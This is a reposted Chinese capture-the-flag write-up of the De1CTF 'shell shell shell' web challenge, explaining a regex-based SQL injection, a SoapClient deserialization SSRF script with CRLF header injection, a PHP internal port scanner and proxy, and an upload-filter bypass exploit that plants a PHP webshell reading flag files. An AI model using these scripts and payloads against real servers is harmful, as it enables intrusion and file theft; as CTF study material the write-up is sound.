刷題記錄:[De1ctf] shell shell shell


刷題記錄:[De1ctf] shell shell shell

題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:De1ctf - shell shell shell記錄
淺析De1CTF 2019的兩道web SSRF ME && ShellShellShell
駭極杯 2018 web3

知識量巨多的一道題,收獲很多。這道題之后打算先停一停,看幾本網絡安全的書沉淀一下,不定時更新。

一、知識點

1、源碼泄露

訪問index.php~獲得源碼,從index.php中可以知道其他源碼的位置

2、正則表達式不完善導致sql注入

正則表達如下

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

問題在於${1}占位只匹配第一個,像`1`or 1`#,后面的or 1`#就能逃逸出去,如果不清楚的話自己試驗一下就知道了,然后就可以在publish界面sleep盲注出admin的密碼

3、soapclient反序列化->ssrf

之前涉及過,貼個腳本

<?php
$target = 'http://e68c522a-3cdf-4910-95e7-b65a857007bc.node1.buuoj.cn/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=2e6e9';
$headers = array(
    'Cookie: PHPSESSID=96c6j4ia0f33vfnnis28pa0kv6' #(未登錄的cookie,便於以admin身份進行登陸)
);
$b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
    'uri'=> "aaab"));
//因為user-agent是可以控制的,因此可以利用crlf注入http頭來發送post請求
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);

echo bin2hex($aaa);
?>

但是不知道為什么,我手動操作一直沒法登陸,最后拿大佬的一鍵getshell腳本才登陸上去,代碼見前面的參考鏈接

4、掃描內網

首先要知道自己所在的網段,可以查看/proc/net/fib_trie/proc/net/arp/proc/net/route
之前沒見過這種情況,其實找個腳本就行了

<?php
  
set_time_limit(0);//設置程序執行時間
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 
 
/*端口掃描代碼*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}
 
  
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
  
}
  
}
}
 
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
 
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
     
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
  
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
  
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}
 
/*內網代理代碼*/
 
function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 
 
function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 
 
if($url != null){ 
 
    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

5、$file[count($file) - 1]$ext = end($file)獲取后綴名方式不同

網鼎杯第二場 wafupload詳解
首先沒判斷數組,所以很容易想到用數組繞過,拿exp來講
男神glzjin師傅的php exp

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://172.16.54.2",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

最后得到的表單是

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="tr1ple.php"
Content-Type: false

@<?php echo `find /etc -name *flag* -exec cat {} +`;

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello"

tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]"

222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]"

111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]"

/../tr1ple11.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--

網頁得到的$_POST['file']

array(3) {
  [2]=>
  string(3) "222"
  [1]=>
  string(3) "111"
  [0]=>
  string(16) "/../tr1ple11.php"
}

$file[count($file) - 1]獲取的后綴是222,$ext = end($file)獲取的后綴是/../tr1ple11.php,成功繞過

有三種方法,前兩種都是利用php獲取文件和刪除文件中獲取路徑的方式不同

簡單說就是 PHP 在讀寫文件的時候需要打開文件流,會把路徑標准化為絕對路徑。
但是在刪除或者重命名的時候,不會打開文件流,文件名除了前綴以外的位置如果還含有路徑,就會刪除失敗。

  • (1)利用../跳出去
    例如上例中/../tr1ple11.php為后綴,前面接上隨機文件名后tr1ple11.php依然在當前文件夾中,同時unlink()無法刪除
  • (2)/.使unlink失效

新的文件名為xxx.php/.,在move_uploaded_file()處理的時候,會轉化為絕對路徑,成功將xxx.php保存。
但是unlink()刪除失敗,xxx.php就被保存了下來。

  • (3)利用php://filter/string.strip_tags/resource=/etc/passwd導致php segemnt fault
    LFI via SegmentFault
    本題中沒有嘗試


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM